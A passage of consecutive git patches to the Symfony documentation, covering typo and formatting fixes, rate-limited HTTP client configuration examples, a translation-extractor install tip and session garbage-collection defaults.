-            return $this->render('security/login.html.twig');
+            return $this->render('security/request_login_link.html.twig');
         }
 
         // ...
@@ -664,7 +664,7 @@ user create this POST request (e.g. by clicking a button)::
         <h2>Hi! You are about to login to ...</h2>
 
         <!-- for instance, use a form with hidden fields to
-             create the POST request --->
+             create the POST request -->
         <form action="{{ path('login_check') }}" method="POST">
             <input type="hidden" name="expires" value="{{ expires }}">
             <input type="hidden" name="user" value="{{ user }}">

From 08e3831fbb9344822b7751a7a83c290189ad6c7f Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sun, 1 Sep 2024 10:48:47 +0200
Subject: [PATCH 4989/5766] fix typo

---
 security/ldap.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/ldap.rst b/security/ldap.rst
index e51e8dda47f..b8db2d03a4f 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -25,7 +25,7 @@ This means that the following scenarios will work:
   either the LDAP form login or LDAP HTTP Basic authentication providers.
 
 * Checking a user's password against an LDAP server while fetching user
-  information from another source like your main database for
+  information from another source (like your main database for
   example).
 
 * Loading user information from an LDAP server, while using another

From bc88843304a3f7d512aec8cd168e0630abec687c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Maxime=20H=C3=A9lias?= <maximehelias16@gmail.com>
Date: Wed, 28 Aug 2024 21:45:50 +0200
Subject: [PATCH 4990/5766] [FrameworkBundle][HttpClient] Adding an explanation
 of ThrottlingHttpClient integration with the Framework

---
 http_client.rst | 104 +++++++++++++++++++++++++++++++++++++++++-------
 1 file changed, 89 insertions(+), 15 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index f1c150b54eb..91b91ebc4a5 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1488,30 +1488,104 @@ Limit the Number of Requests
 ----------------------------
 
 This component provides a :class:`Symfony\\Component\\HttpClient\\ThrottlingHttpClient`
-decorator that allows to limit the number of requests within a certain period.
+decorator that allows to limit the number of requests within a certain period,
+potentially delaying calls based on the rate limiting policy.
 
 The implementation leverages the
 :class:`Symfony\\Component\\RateLimiter\\LimiterInterface` class under the hood
 so the :doc:`Rate Limiter component </rate_limiter>` needs to be
 installed in your application::
 
-    use Symfony\Component\HttpClient\HttpClient;
-    use Symfony\Component\HttpClient\ThrottlingHttpClient;
-    use Symfony\Component\RateLimiter\LimiterInterface;
+.. configuration-block::
 
-    $rateLimiter = ...; // $rateLimiter is an instance of Symfony\Component\RateLimiter\LimiterInterface
-    $client = HttpClient::create();
-    $client = new ThrottlingHttpClient($client, $rateLimiter);
+    .. code-block:: yaml
 
-    $requests = [];
-    for ($i = 0; $i < 100; $i++) {
-        $requests[] = $client->request('GET', 'https://example.com');
-    }
+        # config/packages/framework.yaml
+        framework:
+            http_client:
+                scoped_clients:
+                    example.client:
+                        base_uri: 'https://example.com'
+                        rate_limiter: 'http_example_limiter'
 
-    foreach ($requests as $request) {
-        // Depending on rate limiting policy, calls will be delayed
-        $output->writeln($request->getContent());
-    }
+            rate_limiter:
+                # Don't send more than 10 requests in 5 seconds
+                http_example_limiter:
+                    policy: 'token_bucket'
+                    limit: 10
+                    rate: { interval: '5 seconds', amount: 10 }
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:http-client>
+                    <framework:scoped-client name="example.client"
+                        base-uri="https://example.com"
+                        rate-limiter="http_example_limiter"
+                    />
+                </framework:http-client>
+
+                <framework:rate-limiter>
+                    <!-- Don't send more than 10 requests in 5 seconds -->
+                    <framework:limiter name="http_example_limiter"
+                        policy="token_bucket"
+                        limit="10"
+                    >
+                        <framework:rate interval="5 seconds" amount="10"/>
+                    </framework:limiter>
+                </framework:rate-limiter>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->httpClient()->scopedClient('example.client')
+                ->baseUri('https://example.com')
+                ->rateLimiter('http_example_limiter');
+                // ...
+            ;
+
+            $framework->rateLimiter()
+                // Don't send more than 10 requests in 5 seconds
+                ->limiter('http_example_limiter')
+                    ->policy('token_bucket')
+                    ->limit(10)
+                    ->rate()
+                        ->interval('5 seconds')
+                        ->amount(10)
+                ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HttpClient\HttpClient;
+        use Symfony\Component\HttpClient\ThrottlingHttpClient;
+        use Symfony\Component\RateLimiter\RateLimiterFactory;
+        use Symfony\Component\RateLimiter\Storage\InMemoryStorage;
+
+        $factory = new RateLimiterFactory([
+            'id' => 'http_example_limiter',
+            'policy' => 'token_bucket',
+            'limit' => 10,
+            'rate' => ['interval' => '5 seconds', 'amount' => 10],
+        ], new InMemoryStorage());
+        $limiter = $factory->create();
+
+        $client = HttpClient::createForBaseUri('https://example.com');
+        $throttlingClient = new ThrottlingHttpClient($client, $limiter);
 
 .. versionadded:: 7.1
 

From 00bb3783ca829f0c32e3e0e01e53abebf7de96f3 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sun, 1 Sep 2024 19:42:01 +0200
Subject: [PATCH 4991/5766] Replace code block text with terminal where it was
 used incorrectly

---
 components/console/helpers/table.rst | 4 ++--
 contributing/community/reviews.rst   | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 8d160689de7..171412511aa 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -199,7 +199,7 @@ You can also set the style to ``box``::
 
 which outputs:
 
-.. code-block:: text
+.. code-block:: terminal
 
     ┌───────────────┬──────────────────────────┬──────────────────┐
     │ ISBN          │ Title                    │ Author           │
@@ -217,7 +217,7 @@ You can also set the style to ``box-double``::
 
 which outputs:
 
-.. code-block:: text
+.. code-block:: terminal
 
     ╔═══════════════╤══════════════════════════╤══════════════════╗
     ║ ISBN          │ Title                    │ Author           ║
diff --git a/contributing/community/reviews.rst b/contributing/community/reviews.rst
index ba08e4ffd36..94c37643988 100644
--- a/contributing/community/reviews.rst
+++ b/contributing/community/reviews.rst
@@ -167,7 +167,7 @@ Pick a pull request from the `PRs in need of review`_ and follow these steps:
    PR by running the following Git commands. Insert the PR ID (that's the number
    after the ``#`` in the PR title) for the ``<ID>`` placeholders:
 
-   .. code-block:: text
+   .. code-block:: terminal
 
        $ cd vendor/symfony/symfony
        $ git fetch origin pull/<ID>/head:pr<ID>
@@ -175,7 +175,7 @@ Pick a pull request from the `PRs in need of review`_ and follow these steps:
 
    For example:
 
-   .. code-block:: text
+   .. code-block:: terminal
 
        $ git fetch origin pull/15723/head:pr15723
        $ git checkout pr15723

From 9041d0561814160270179e319970e12dd4bc47e8 Mon Sep 17 00:00:00 2001
From: Ramin Banihashemi <a@ramin.it>
Date: Sun, 1 Sep 2024 00:20:06 +0200
Subject: [PATCH 4992/5766] =?UTF-8?q?[Translation]=20fix:=20add=20nikic/ph?=
 =?UTF-8?q?p-parser=20requirement=20for=20translation:extract=20in=20tran?=
 =?UTF-8?q?=E2=80=A6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 translation.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/translation.rst b/translation.rst
index 90409acc589..7c596c78b11 100644
--- a/translation.rst
+++ b/translation.rst
@@ -462,6 +462,14 @@ The ``translation:extract`` command looks for missing translations in:
     The support of PHP files/classes that use constraint attributes was
     introduced in Symfony 6.2.
 
+To read PHP files, is used the new ``PhpAstExtractor`` service supports all kinds of ``trans()`` function calls, usages of :class:`Symfony\\Component\\Translation\\TranslatableMessage` class, messages defined in validation constraints, etc...
+
+To use the new translation extractor, install the ``nikic/php-parser`` package using Composer, before using `translation:extract`.
+
+.. code-block:: terminal
+
+    $ composer require nikic/php-parser
+
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations

From ad9262617b9bd02027f840c3626470725112e02c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Sep 2024 12:28:31 +0200
Subject: [PATCH 4993/5766] Reword

---
 translation.rst | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/translation.rst b/translation.rst
index 7c596c78b11..39ba34a519d 100644
--- a/translation.rst
+++ b/translation.rst
@@ -462,13 +462,15 @@ The ``translation:extract`` command looks for missing translations in:
     The support of PHP files/classes that use constraint attributes was
     introduced in Symfony 6.2.
 
-To read PHP files, is used the new ``PhpAstExtractor`` service supports all kinds of ``trans()`` function calls, usages of :class:`Symfony\\Component\\Translation\\TranslatableMessage` class, messages defined in validation constraints, etc...
+.. tip::
 
-To use the new translation extractor, install the ``nikic/php-parser`` package using Composer, before using `translation:extract`.
+    Install the ``nikic/php-parser`` package in your project to improve the
+    results of the ``translation:extract`` command. This package enables an
+    `AST`_ parser that can find many more translatable items:
 
-.. code-block:: terminal
+    .. code-block:: terminal
 
-    $ composer require nikic/php-parser
+        $ composer require nikic/php-parser
 
 .. _translation-resource-locations:
 
@@ -1594,3 +1596,4 @@ Learn more
 .. _`Loco (localise.biz)`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Loco/README.md
 .. _`Lokalise`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Lokalise/README.md
 .. _`Phrase`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Phrase/README.md
+.. _`AST`: https://en.wikipedia.org/wiki/Abstract_syntax_tree

From 4a5adff84946798aacf9f6963bf6660ec6f51de1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Sep 2024 12:33:00 +0200
Subject: [PATCH 4994/5766] [Translation] Added a missing versionadded
 directive

---
 translation.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/translation.rst b/translation.rst
index 39ba34a519d..ad463b34823 100644
--- a/translation.rst
+++ b/translation.rst
@@ -472,6 +472,10 @@ The ``translation:extract`` command looks for missing translations in:
 
         $ composer require nikic/php-parser
 
+    .. versionadded:: 6.2
+
+        The AST parser support was introduced in Symfony 6.2.
+
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations

From 4b4b1a0a15858fc15be4d7c1497da480ed44a8e0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Sep 2024 12:33:59 +0200
Subject: [PATCH 4995/5766] =?UTF-8?q?[Translation]=C2=A0Remove=20an=20unne?=
 =?UTF-8?q?eded=20versionadded=20directive?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 translation.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/translation.rst b/translation.rst
index ad463b34823..39ba34a519d 100644
--- a/translation.rst
+++ b/translation.rst
@@ -472,10 +472,6 @@ The ``translation:extract`` command looks for missing translations in:
 
         $ composer require nikic/php-parser
 
-    .. versionadded:: 6.2
-
-        The AST parser support was introduced in Symfony 6.2.
-
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations

From 967949292aaa3682c02fbf8be6e5938639551d76 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Sep 2024 12:34:39 +0200
Subject: [PATCH 4996/5766] [Translation] Read a versionadded directive

---
 translation.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/translation.rst b/translation.rst
index 39ba34a519d..ad463b34823 100644
--- a/translation.rst
+++ b/translation.rst
@@ -472,6 +472,10 @@ The ``translation:extract`` command looks for missing translations in:
 
         $ composer require nikic/php-parser
 
+    .. versionadded:: 6.2
+
+        The AST parser support was introduced in Symfony 6.2.
+
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations

From 0c1a63900ab6ac2aa0f3848541f11ef47b932232 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 2 Sep 2024 13:55:32 +0200
Subject: [PATCH 4997/5766] fix typo

---
 reference/constraints/Week.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Week.rst b/reference/constraints/Week.rst
index 26d82777636..f107d8b4192 100644
--- a/reference/constraints/Week.rst
+++ b/reference/constraints/Week.rst
@@ -89,7 +89,7 @@ the following:
 This constraint not only checks that the value matches the week number pattern,
 but it also verifies that the specified week actually exists in the calendar.
 According to the ISO-8601 standard, years can have either 52 or 53 weeks. For example,
-``2022-W53`` is not a valid because 2022 only had 52 weeks; but ``2020-W53`` is
+``2022-W53`` is not valid because 2022 only had 52 weeks; but ``2020-W53`` is
 valid because 2020 had 53 weeks.
 
 Options

From a1baaf1987ec2aaebba611dc39a600d0dd5907a2 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 2 Sep 2024 16:51:20 +0200
Subject: [PATCH 4998/5766] fix typo

---
 security/custom_authenticator.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index c40765e9a8a..dcddbc03444 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -37,7 +37,7 @@ method that fits most use-cases::
          */
         public function supports(Request $request): ?bool
         {
-            // "auth_token" is an example of a custom, non-standard HTTP header used in this application
+            // "auth-token" is an example of a custom, non-standard HTTP header used in this application
             return $request->headers->has('auth-token');
         }
 

From 3fecb780fb4e866cd83c1f669b5c22dcdbfbe0b2 Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Mon, 2 Sep 2024 15:33:05 -0300
Subject: [PATCH 4999/5766] Update reference for "framework.cache.prefix_seed"
 config node

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 6ec90ad032b..1d0be35b088 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -532,7 +532,7 @@ On production, there are a few important things to think about:
 
 **Use the Same Cache Between Deploys**
     If your deploy strategy involves the creation of new target directories, you
-    should set a value for the :ref:`cache.prefix.seed <reference-cache-prefix-seed>`
+    should set a value for the :ref:`cache.prefix_seed <reference-cache-prefix-seed>`
     configuration option in order to use the same cache namespace between deployments.
     Otherwise, the ``cache.app`` pool will use the value of the ``kernel.project_dir``
     parameter as base for the namespace, which will lead to different namespaces

From dea8bf6a3a928bd4f6eceedc69e60a70b0668633 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 3 Sep 2024 09:50:17 +0200
Subject: [PATCH 5000/5766] Translation - fix lint for ci

---
 translation.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/translation.rst b/translation.rst
index 50de01cfc1e..f1704ddccb2 100644
--- a/translation.rst
+++ b/translation.rst
@@ -467,10 +467,6 @@ The ``translation:extract`` command looks for missing translations in:
 
         $ composer require nikic/php-parser
 
-    .. versionadded:: 6.2
-
-        The AST parser support was introduced in Symfony 6.2.
-
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations

From 4ee1a121a88974c41e75051bca32552835a9a32e Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Tue, 3 Sep 2024 07:18:48 -0300
Subject: [PATCH 5001/5766] Add missing backticks in inline snippets

---
 components/cache/adapters/redis_adapter.rst | 2 +-
 components/var_dumper.rst                   | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 590483a19be..2b00058c6bd 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -176,7 +176,7 @@ Available Options
 
 ``redis_cluster`` (type: ``bool``, default: ``false``)
     Enables or disables redis cluster. The actual value passed is irrelevant as long as it passes loose comparison
-    checks: `redis_cluster=1` will suffice.
+    checks: ``redis_cluster=1`` will suffice.
 
 ``redis_sentinel`` (type: ``string``, default: ``null``)
     Specifies the master name connected to the sentinels.
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index 2e6a337131b..b6cb8c4b346 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -391,7 +391,7 @@ then its dump representation::
 
 .. note::
 
-    `#14` is the internal object handle. It allows comparing two
+    ``#14`` is the internal object handle. It allows comparing two
     consecutive dumps of the same object.
 
 .. code-block:: php

From 2a0a7163793028bc1af26c3e58bf53fe0a7d5e71 Mon Sep 17 00:00:00 2001
From: Michal Landsman <landsman@studioart.cz>
Date: Tue, 3 Sep 2024 09:37:51 +0200
Subject: [PATCH 5002/5766] bundles - add reason why they are not recommended

---
 best_practices.rst | 2 ++
 bundles.rst        | 2 +-
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/best_practices.rst b/best_practices.rst
index dafdfe8bc1c..cc38287365e 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -160,6 +160,8 @@ values is that it's complicated to redefine their values in your tests.
 Business Logic
 --------------
 
+.. _best-practice-no-application-bundles:
+
 Don't Create any Bundle to Organize your Application Logic
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/bundles.rst b/bundles.rst
index dba4b30e441..02db1dd5d23 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -6,7 +6,7 @@ The Bundle System
 .. caution::
 
     In Symfony versions prior to 4.0, it was recommended to organize your own
-    application code using bundles. This is no longer recommended and bundles
+    application code using bundles. This is :ref:`no longer recommended <best-practice-no-application-bundles>` and bundles
     should only be used to share code and features between multiple applications.
 
 A bundle is similar to a plugin in other software, but even better. The core

From 5b4c2cd32591fe0f2159435144c7363203368e82 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20M=C3=B6nch?= <simonmoench@googlemail.com>
Date: Wed, 4 Sep 2024 09:50:52 +0200
Subject: [PATCH 5003/5766] [Scheduler] Fix indention and single quotes for `A
 Dynamic Vision for the Messages Generated` section example

---
 scheduler.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index ae621d9ece5..160ba26e0cb 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -412,9 +412,10 @@ checks for messages to be generated::
                         new ExcludeHolidaysTrigger(
                             CronExpressionTrigger::fromSpec('@daily'),
                         ),
-                    // instead of being static as in the previous example
-                    new CallbackMessageProvider([$this, 'generateReports'], 'foo')),
-                    RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport())
+                        // instead of being static as in the previous example
+                        new CallbackMessageProvider([$this, 'generateReports'], 'foo')
+                    ),
+                    RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport())
                 );
         }
 

From 07105c35375414672a260c93d466a356ef45a6c0 Mon Sep 17 00:00:00 2001
From: Xavier Laviron <norival@users.noreply.github.com>
Date: Thu, 5 Sep 2024 10:25:21 +0200
Subject: [PATCH 5004/5766] Fix typo in mailer.rst

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index eafd542e2f3..8e2e244c449 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1752,7 +1752,7 @@ FailedMessageEvent
 
     The ``FailedMessageEvent`` event was introduced in Symfony 6.2.
 
-``FailedMessageEvent`` allows acting on the the initial message in case of a failure::
+``FailedMessageEvent`` allows acting on the initial message in case of a failure::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\FailedMessageEvent;

From afe3aea2233f1eb8c30a48861255b7e6f1b49803 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Thu, 5 Sep 2024 15:36:43 +0200
Subject: [PATCH 5005/5766] Update link for accelerated downloads on nginx

---
 components/http_foundation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index d24cb8032f0..f1adc0effcd 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -857,7 +857,7 @@ Learn More
     /session
     /http_cache/*
 
-.. _nginx: https://www.nginx.com/resources/wiki/start/topics/examples/xsendfile/
+.. _nginx: https://mattbrictson.com/blog/accelerated-rails-downloads
 .. _Apache: https://tn123.org/mod_xsendfile/
 .. _`JSON Hijacking`: https://haacked.com/archive/2009/06/25/json-hijacking.aspx/
 .. _`valid JSON top-level value`: https://www.json.org/json-en.html

From 39878b84abbde111a1971316abe87c3bd9a6394c Mon Sep 17 00:00:00 2001
From: lkolndeep <lkolndeep@protonmail.com>
Date: Thu, 5 Sep 2024 18:29:06 +0200
Subject: [PATCH 5006/5766] Add the yaml and xml config folders

---
 serializer.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index 35894018cb5..cd3aff46dbc 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -209,6 +209,7 @@ You can also specify the context on a per-property basis::
 
     .. code-block:: yaml
 
+        # config/serializer/custom_config.yaml
         App\Model\Person:
             attributes:
                 createdAt:
@@ -218,6 +219,7 @@ You can also specify the context on a per-property basis::
     .. code-block:: xml
 
         <?xml version="1.0" encoding="UTF-8" ?>
+        <!-- config/serializer/custom_config.xml -->
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping

From da99ac7be363be5caf822d21f31774988b553843 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 6 Sep 2024 13:31:10 +0200
Subject: [PATCH 5007/5766] Minor tweak

---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index cd3aff46dbc..50bd0149a19 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -218,8 +218,8 @@ You can also specify the context on a per-property basis::
 
     .. code-block:: xml
 
-        <?xml version="1.0" encoding="UTF-8" ?>
         <!-- config/serializer/custom_config.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping

From 58b4aea69563ed2c750ce8ac10ba0bc08a5c8c48 Mon Sep 17 00:00:00 2001
From: Nelu Buga <39184661+nBuga@users.noreply.github.com>
Date: Fri, 6 Sep 2024 15:00:54 +0300
Subject: [PATCH 5008/5766] Update serializer.rst

Use the right namespace for the Attribute
---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index b0a005314d9..2900a49ba4e 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -416,7 +416,7 @@ their paths using a :doc:`valid PropertyAccess syntax </components/property_acce
 
         namespace App\Model;
 
-        use Symfony\Component\Serializer\Annotation\SerializedPath;
+        use Symfony\Component\Serializer\Attribute\SerializedPath;
 
         class Person
         {

From d3e3ab7c04f6b95bf693a5a6026ed972c530e0b9 Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Fri, 6 Sep 2024 13:24:28 -0300
Subject: [PATCH 5009/5766] [Messenger] Add missing backticks for inline
 snippets

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index b2ede04da43..35e82591357 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1679,7 +1679,7 @@ redis_sentinel           support is disabled
 
 .. versionadded:: 7.1
 
-    The option `redis_sentinel` as an alias for `sentinel_master` was introduced
+    The option ``redis_sentinel`` as an alias for ``sentinel_master`` was introduced
     in Symfony 7.1.
 
 .. caution::

From a79a579728dce352dbbacf9152b1f9c3a7c2875a Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Sat, 7 Sep 2024 04:06:25 -0300
Subject: [PATCH 5010/5766] [AssetMapper] Add missing backticks for inline
 snippets

---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 9c9878a54cd..b4d2e5738b8 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -967,7 +967,7 @@ This option is enabled by default.
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Configure the polyfill for older browsers. By default, the `ES module shim`_ is loaded
-via a CDN (i.e. the default value for this setting is `es-module-shims`):
+via a CDN (i.e. the default value for this setting is ``es-module-shims``):
 
 .. code-block:: yaml
 

From 31a33bf2d9e5929f834d25cfad93ac21852bf9ad Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Rapha=C3=ABl=20Geffroy?=
 <81738559+raphael-geffroy@users.noreply.github.com>
Date: Fri, 6 Sep 2024 17:53:21 +0200
Subject: [PATCH 5011/5766] [FrameworkBundle] Remove default value for
 `gc_probability` config option

---
 reference/configuration/framework.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 1e9e43faa0f..c3f341f578b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1845,13 +1845,19 @@ If not set, ``php.ini``'s `session.gc_divisor`_ directive will be relied on.
 gc_probability
 ..............
 
-**type**: ``integer`` **default**: ``1``
+**type**: ``integer``
 
 This defines the probability that the garbage collector (GC) process is
 started on every session initialization. The probability is calculated by
 using ``gc_probability`` / ``gc_divisor``, e.g. 1/100 means there is a 1%
 chance that the GC process will start on each request.
 
+If not set, ``php.ini``'s `session.gc_probability`_ directive will be relied on.
+
+.. versionadded:: 7.2
+
+    Relying on ``php.ini``'s directive as default for ``gc_probability`` was introduced in symfony 7.2.
+
 gc_maxlifetime
 ..............
 
@@ -3893,6 +3899,7 @@ The attributes can also be added to interfaces directly::
 .. _`session.cookie_samesite`: https://www.php.net/manual/en/session.configuration.php#ini.session.cookie-samesite
 .. _`session.cookie_secure`: https://www.php.net/manual/en/session.configuration.php#ini.session.cookie-secure
 .. _`session.gc_divisor`: https://www.php.net/manual/en/session.configuration.php#ini.session.gc-divisor
+.. _`session.gc_probability`: https://www.php.net/manual/en/session.configuration.php#ini.session.gc-probability
 .. _`session.gc_maxlifetime`: https://www.php.net/manual/en/session.configuration.php#ini.session.gc-maxlifetime
 .. _`session.sid_length`: https://www.php.net/manual/en/session.configuration.php#ini.session.sid-length
 .. _`session.sid_bits_per_character`: https://www.php.net/manual/en/session.configuration.php#ini.session.sid-bits-per-character

From 5c72f37bca564690a8af6f9797f3eed7e91d0cd8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Sep 2024 08:42:30 +0200
Subject: [PATCH 5012/5766] Minor tweak

---
 reference/configuration/framework.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index c3f341f578b..bdcbc4a55af 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1852,11 +1852,13 @@ started on every session initialization. The probability is calculated by
 using ``gc_probability`` / ``gc_divisor``, e.g. 1/100 means there is a 1%
 chance that the GC process will start on each request.
 
-If not set, ``php.ini``'s `session.gc_probability`_ directive will be relied on.
+If not set, Symfony will use the value of the `session.gc_probability`_ directive
+in the ``php.ini`` configuration file.
 
 .. versionadded:: 7.2
 
-    Relying on ``php.ini``'s directive as default for ``gc_probability`` was introduced in symfony 7.2.
+    Relying on ``php.ini``'s directive as default for ``gc_probability`` was
+    introduced in Symfony 7.2.
 
 gc_maxlifetime
 ..............

From 42c789bc7dc81db223ace2a22487cf270e4d2197 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Sun, 10 Dec 2023 17:18:54 +0100
Subject: [PATCH 5013/5766] merge configuration blocks for AsMessageHandler
 attribute

---
 messenger.rst | 55 +++++++++++++++++++--------------------------------
 1 file changed, 20 insertions(+), 35 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 3874977c52d..57163f3b60f 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2222,40 +2222,6 @@ wherever you need a query bus behavior instead of the ``MessageBusInterface``::
 Customizing Handlers
 --------------------
 
-Configuring Handlers Using Attributes
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You can configure your handler by passing options to the attribute::
-
-    // src/MessageHandler/SmsNotificationHandler.php
-    namespace App\MessageHandler;
-
-    use App\Message\OtherSmsNotification;
-    use App\Message\SmsNotification;
-    use Symfony\Component\Messenger\Attribute\AsMessageHandler;
-
